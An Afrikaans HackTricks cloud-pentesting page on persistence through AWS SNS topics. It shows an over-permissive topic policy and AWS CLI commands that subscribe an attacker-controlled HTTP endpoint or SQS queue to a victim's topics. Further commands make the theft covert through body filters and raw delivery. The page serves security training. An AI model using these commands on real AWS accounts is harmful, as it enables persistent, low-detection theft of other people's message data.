AWS - SNS Persistensie

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

SNS

Vir meer inligting, kyk:

AWS - SNS Enum

Persistensie

Wanneer jy ’n SNS topic skep, moet jy met ’n IAM-beleid aandui wie toegang het om te lees en te skryf. Dit is moontlik om eksterne rekeninge, ARN van rolle, of selfs “*” aan te dui.
Die volgende beleid gee aan almal in AWS toegang om te lees en te skryf in die SNS topic genaamd MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Skep intekenaars

Om voort te gaan om al die boodskappe van al die onderwerpe te eksfiltreer, kan ’n aanvaller intekenaars vir al die onderwerpe skep.

Let wel dat as die onderwerp van die tipe FIFO is, slegs intekenaars wat die protokol SQS gebruik, gebruik kan word.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Bedekte, selektiewe eksfiltrasie via FilterPolicy op MessageBody

’n Aanvaller met sns:Subscribe en sns:SetSubscriptionAttributes op ’n topic kan ’n stil SQS-subskripsie skep wat slegs boodskappe deurstuur waarvan die JSON-body ’n baie noue filter pas (byvoorbeeld {"secret":"true"}). Dit verminder volume en opsporing terwyl dit steeds sensitiewe rekords eksfiltreer.

Potensiële Impak: Bedekte, lae-noise eksfiltrasie van slegs geteikende SNS-boodskappe vanaf ’n slagoffer-topic.

Steps (AWS CLI):

  • Sorg dat die aanvaller se SQS-queuebeleid sqs:SendMessage vanaf die slagoffer TopicArn toelaat (Condition aws:SourceArn gelyk aan die TopicArn).
  • Skep SQS-subskripsie vir die topic:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  • Stel die filter in om op die message body te werk en slegs by secret=true te pas:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  • Opsionele stilheid: skakel RawMessageDelivery aan sodat slegs die rou payload by die ontvanger aankom:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  • Validering: publiseer twee boodskappe en bevestig dat slegs die eerste aan die aanvaller se queue afgelewer word. Voorbeeld payloads:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
  • Opschoning: teken uit en verwyder die aanvaller se SQS-queue indien geskep vir persistence testing.

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks